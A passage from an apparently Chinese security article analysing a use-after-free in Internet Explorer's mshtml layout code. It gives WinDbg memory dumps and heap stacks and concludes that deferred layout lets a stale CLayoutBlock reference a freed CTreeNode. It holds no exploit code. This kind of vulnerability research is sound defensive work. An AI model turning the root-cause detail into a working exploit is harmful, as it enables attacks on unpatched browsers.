dc 0be77fc80be77fc8 3dc39174 00000004 00264099 0b976fc0 t..=.....@&..o..0be77fd8 00000000 09398fc8 0a5b5fa0 0be77fc8 ......9.._[.....0be77fe8 00000000 0bf4cfd8 ffffffff ffffffff ................0be77ff8 0a5b3f10 00000000 ???????? ???????? .?[.....????????0be78008 ???????? ???????? ???????? ???????? ????????????????0be78018 ???????? ???????? ???????? ???????? ????????????????0be78028 ???????? ???????? ???????? ???????? ????????????????0be78038 ???????? ???????? ???????? ???????? ???????????????? 0:008> .formats 00264099Evaluate expression: Hex: 00264099 Decimal: 2506905 Octal: 00011440231 Binary: 00000000 00100110 01000000 10011001 Chars: .&@. Time: Fri Jan 30 08:21:45 1970 Float: low 3.51292e-039 high 0 Double: 1.23858e-317 0:008> !heap -p -a 0be77fc8 address 0be77fc8 found in _DPH_HEAP_ROOT @ 141000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) a50a7d8: be77fc8 38 - be77000 2000 mshtml!CBlockContainerBlock::`vftable' 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 3dc07ed7 mshtml!TSmartPointer<CBlockContainerBlock>::Create<enum BLOCKTYPE,CLayoutBlock *,CTreePos const *,int,bool,bool,bool,bool>+0x0000002b 3dbfa192 mshtml!CLayoutBlock::UpdateLayoutBlock+0x00000283 3dbf8149 mshtml!CLayoutBlock::BuildBlock+0x0000011a 3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb 3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1 3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb 3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1 3dbfb91e mshtml!CCssDocumentLayout::GetPage+0x0000022a 3dbfb7ce mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254 3db3b947 mshtml!CLayout::CalcSize+0x000002b8 3dac2cbd mshtml!CView::EnsureSize+0x000000da 3db5e20a mshtml!CView::EnsureView+0x00000340 3db6a2c8 mshtml!CView::EnsureViewCallback+0x000000d2 3db6a039 mshtml!GlobalWndOnMethodCall+0x000000fb3db54d28 mshtml!GlobalWndProc+0x00000183 6.2.2 删去childreax=0b976fd8 ebx=02e5d5e8 ecx=0933ff30 edx=02e5d51c esi=0b976fd8 edi=00000000eip=3dd1f50f esp=02e5d4e0 ebp=02e5d528 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206mshtml!CBlockContainerBlock::BuildBlockContainer+0x4ec:3dd1f50f e8440ff2ff call mshtml!CLayoutBlock::RemoveChild (3dc40458)0:008> dc ebp + 802e5d530 0be77fc8 0933ff30 0b976fd8 00000003 ....0.3..o......02e5d540 00000000 00e5d5e8 00000000 00000009 ................02e5d550 0933ff30 3dc3932b 00000009 00000000 0.3.+..=........02e5d560 02e5d624 3dbfb91e 0933ff30 00000000 $......=0.3.....02e5d570 09398fc8 00000009 00000009 00000000 ..9.............02e5d580 02e5d900 02e5d600 00000003 00000000 ................02e5d590 00000000 02e5d5ec 02e5d5e8 02e5d618 ................02e5d5a0 00000000 02e5d998 07e97fa8 00000001 ................0:008> dc 0be77fc80be77fc8 3dc39174 00000004 00264099 0b976fc0 t..=.....@&..o..0be77fd8 00000000 09398fc8 0a5b5fa0 0be77fc8 ......9.._[.....0be77fe8 00000000 0bf4cfd8 ffffffff ffffffff ................0be77ff8 0a5b3f10 00000000 ???????? ???????? .?[.....????????0be78008 ???????? ???????? ???????? ???????? ????????????????0be78018 ???????? ???????? ???????? ???????? ????????????????0be78028 ???????? ???????? ???????? ???????? ????????????????0be78038 ???????? ???????? ???????? ???????? ???????????????? dc ebp - 0c02e5d51c 0e99dfa0 037b6fa0 00976fc0 02e5d560 .....o{..o..`...02e5d52c 3dbf81b7 0be77fc8 0933ff30 0b976fd8 ...=....0.3..o..02e5d53c 00000003 00000000 00e5d5e8 00000000 ................02e5d54c 00000009 0933ff30 3dc3932b 00000009 ....0.3.+..=....02e5d55c 00000000 02e5d624 3dbfb91e 0933ff30 ....$......=0.3.02e5d56c 00000000 09398fc8 00000009 00000009 ......9.........02e5d57c 00000000 02e5d900 02e5d600 00000003 ................02e5d58c 00000000 00000000 02e5d5ec 02e5d5e8 ................0:008> !heap -p -a 0e99dfa0 address 0e99dfa0 found in _DPH_HEAP_ROOT @ 141000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) aa772a0: e99dfa0 5c - e99d000 2000 mshtml!CTextBlock::`vftable' 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 3dc2aed5 mshtml!TSmartPointer<CTextBlock>::Create<enum BLOCKTYPE,CLayoutBlock *,CTreePos const *,int,bool,bool,bool>+0x0000002b 3dc2ae9a mshtml!CLayoutBlock::UpdateLayoutBlock+0x000002dd 3dbf8149 mshtml!CLayoutBlock::BuildBlock+0x0000011a 3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb 3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1 3dbfb91e mshtml!CCssDocumentLayout::GetPage+0x0000022a 3dbfb7ce mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254 3db3b947 mshtml!CLayout::CalcSize+0x000002b8 3db4e4ee mshtml!CLayout::DoLayout+0x0000011d 3dd1d0c0 mshtml!CCssPageLayout::Notify+0x00000140 3db28c8d mshtml!NotifyElement+0x00000041 3db28e57 mshtml!NotifyAncestors+0x000001b6 3db26e02 mshtml!CMarkup::SendNotification+0x00000092 3db26d75 mshtml!CMarkup::Notify+0x000000d4 3db31efa mshtml!CElement::SendNotification+0x0000004a 0:008> dc 0e99dfa00e99dfa0 3dc39180 00000002 00a64497 0c2abfc0 ...=.....D....*.0e99dfb0 0c2abfd8 0be77fc8 00000000 037b6fa0 ..*..........o{.0e99dfc0 00000000 0da8afc0 ffffffff ffffffff ................0e99dfd0 09bdcf10 00000000 00000000 00000000 ................0e99dfe0 00000000 0b976fb0 0000000d 3db4f0c4 .....o.........=0e99dff0 00000010 00000004 0e99ffc0 d0d0d0d0 ................0e99e000 ???????? ???????? ???????? ???????? ????????????????0e99e010 ???????? ???????? ???????? ???????? ????????????????0:008> dc 0e99ffc00e99ffc0 00000805 00000001 0c2abfc0 0c2abfb0 ..........*...*.0e99ffd0 00000805 00000002 0a9c4fc0 0a9c4fb0 .........O...O..0e99ffe0 00000806 00000003 0a9c4fd8 0a9c4fb0 .........O...O..0e99fff0 00000806 00000004 0c2abfd8 0c2abfb0 ..........*...*.0e9a0000 ???????? ???????? ???????? ???????? ????????????????0e9a0010 ???????? ???????? ???????? ???????? ????????????????0e9a0020 ???????? ???????? ???????? ???????? ????????????????0e9a0030 ???????? ???????? ???????? ???????? ????????????????
6.3 结论
为了保证重绘的效率,IE浏览器不会再DOM树有改变时就马上进行重新布局(Layout)。而是等到需要重绘时,才去计算布局。
这样导致在操作DOM树的过程中,CTreeNode节点和CLayoutBlock中包含的信息可能不一致。当需要使用的时候,再去同步。但是IE在某些情况下,会同步出现错误(CTreeNode遍历完成,但是CLayoutBlock没有遍历完),则将导致错误的CLayoutBlock(指向已经释放了得CTreeNode)对象放在布局链表的尾部,当使用这些错误的Layout元素进行重绘时,会访问已经释放了得CTreeNode,最终导致UAF
>更多相关文章
首页推荐
佛山市东联科技有限公司一直秉承“一切以用户价值为依归
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 12-05亚马逊推出新一代基础模型 任意模态生成大模
- 12-05OpenAI拓展欧洲业务 将在苏黎世设立办公室
- 12-05微软质疑美国联邦贸易委员会泄露信息 督促其
- 12-05联交所取消宝宝树上市地位 宝宝树:不会对公
- 12-04企业微信致歉:文档打开异常已完成修复
相关文章
24小时热门资讯
24小时回复排行
热门推荐
最新资讯
操作系统
黑客防御